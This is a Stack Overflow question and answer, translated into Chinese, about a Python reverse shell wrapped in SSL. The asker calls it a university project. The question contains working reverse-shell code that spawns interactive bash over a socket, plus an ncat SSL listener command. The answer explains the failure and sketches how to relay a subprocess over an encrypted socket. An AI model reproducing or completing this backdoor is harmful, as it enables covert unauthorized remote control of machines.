对于我的大学项目,我必须使用 python 创建一个远程访问工具。我可以在简单的 TCP 套接字上轻松完成此操作,但当涉及 SSL 套接字时,我会遇到问题。
这是代码:
#/usr/bin/python3
import socket
import ssl
import subprocess
import os
# SET VARIABLES
HOST, PORT = '127.0.0.1', 1234
# CREATE SOCKET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
# WRAP SOCKET
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
sock.connect((HOST, PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)
p = subprocess.call(["/bin/bash", "-i"])
当我尝试使用ncat --ssl -nlvp 1234
在另一端监听时,反向shell立即连接并断开连接,没有任何显示;如果我删除 sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
我会得到一个可以工作的后门,但在纯文本套接字上。
谁能给我解释一下这个问题吗?也许给我一个解决方案?
最佳答案
TCP 在操作系统内核中实现,而 SSL 在用户空间中实现。使用 fileno()
获得的文件描述符只是内核表示。因此,您的代码首先建立 TCP 连接(内核空间),然后将 TCP 套接字包装到 SSL(用户空间)中。但是建立 SSL 连接后,您尝试直接在 TCP 套接字上写入,而不是根据 SSL 协议(protocol)包装数据。这将立即导致 SSL 协议(protocol)数据无效并导致连接关闭。
相反,您需要创建一个子进程并在父进程和子进程之间交换数据,通常通过将 stdin/stdout 映射到管道或套接字对。然后,在父级中,您可以使用 SSL 套接字转发来自子级的数据,并在从 SSL 套接字读取数据后将数据推送到子级。
要了解每个文件描述符上的数据何时可用(即 SSL 套接字和与子进程的通信),您可以使用 select。请注意,在将 select 与 SSL 套接字一起使用时,您也必须特别小心,即简单的 select 对于 SSL 来说是不够的,但您必须 use pending 。
关于python - 在 python 中通过 SSL 反向 shell,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/37174193/